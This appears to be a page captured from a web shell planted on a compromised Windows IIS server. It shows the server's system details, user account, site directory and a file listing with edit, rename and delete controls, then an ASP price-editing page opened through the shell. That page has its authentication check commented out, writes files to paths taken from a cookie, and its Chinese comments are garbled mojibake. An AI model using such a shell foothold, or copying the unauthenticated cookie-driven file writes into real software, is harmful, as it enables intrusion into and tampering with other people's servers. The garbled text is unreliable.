Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<% 'if session(Webpassed)<>"passed" then Response.End %>

<%set fs=Server.CreateObject("Scripting.FileSystemObject") %>
<%Thispage ="http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")%>
<body>
<% Dim kk(50): dim TB(50) %>
<% xxx=Request.Cookies("ItemID"): 'response.write xxx%>	
<%
		                            for i= 0 to 50                              '���ز�Ʒ�۸���
					            	TB(i)= trim(request.form("TT"&i))
					                next	
					            
					            if request.form("BB1")="Submit" then         '
					            	 set f=fs.CreateTextFile(Server.MapPath(xxx &"/Tech.inc"),true)  'д���Ʒ�۸�
					            	 
					            	            f.writeline request.Cookies("ItemNo")&xxx
					            	          '  response.write left(pagename,3)&xxx

for i= 1 to 50
                                                  f.writeline(TB(i))
                                            next      
                                          f.close :set f=nothing :
				                end if
				                
				                  Set f=fs.OpenTextFile(Server.MapPath(xxx &"/Tech.inc"), 1)
                                                      for i= 0 to 50
                                                         WW=trim(f.ReadLine)
                                                             TB(i)=ww
                                                      next
                                                 f.Close:Set f=Nothing: 
                                                       
                                                      if lcase(TB(25))="y" then                         '�����깤��־
                                                               ' response.write TB(25)
                                                             set f=fs.CreateTextFile(Server.MapPath(xxx &"\ReadFlag.inc"),true)
                                                              f.Close:Set f=Nothing:
                                                      else        
                                                              If fs.fileExists(Server.MapPath(xxx &"\ReadFlag.inc")) = true Then 
								                                fs.DeleteFile(Server.MapPath(xxx &"\ReadFlag.inc"))
								                              end if
                                                       end if
                                                       
                                                       if lcase(TB(27))="y" then                         '���������־
                                                                'response.write TB(25)
                                                             set f=fs.CreateTextFile(Server.MapPath(xxx &"\SellFlag.inc"),true)
                                                              f.Close:Set f=Nothing:
                                                      else        
                                                              If fs.fileExists(Server.MapPath(xxx &"\SellFlag.inc")) = true Then 
								                                fs.DeleteFile(Server.MapPath(xxx &"\SellFlag.inc"))
								                              end if
                                                       end if
								
								i=0
                                Set f=fs.OpenTextFile(Server.MapPath("../CPMSLM"), 1)
                                        Do while f.AtEndOfStream = false
                                             WW=trim(f.ReadLine)
                                                temp=split(ww,"-")
                                                kk(i)=trim(temp(1)):i=i+1
                                        loop
                                  f.Close:Set f=Nothing:
								%>
<table border="0" width="796" height="43" style="border-collapse: collapse">
        		<tr>
				<td height="43" width="800" bgcolor="efefef">
     		<table border="1" width="796" height="18" style="border-collapse: collapse" bordercolor="#C3DAF9">
     		<% S=0:ii=0: for n=0 to 30 %>
     			<%if len(kk(ii))=0 then exit for %>
			<tr><form method="post" action="">
	    <% for m=0 to 1 %>
			<td height="18" width="150">
			<p align="right"><font size="2"><%=KK(ii)%></font></td>
			<td height="18" width="250">
			<input type="text" name="<%="TT" & S %>" <% s=s+1%> size="40" style="font-size: 12px; font-family: Verdana"value="<%=TB(ii)%>"><% ii=ii+1 %></td>
		 <% next %>
			</tr>
	<% next %>
			</table>
					<input type="submit" value="Submit" name="BB1"></td>
			</tr></form>
</table>
<%Set fs=Nothing%>
</body>
</html>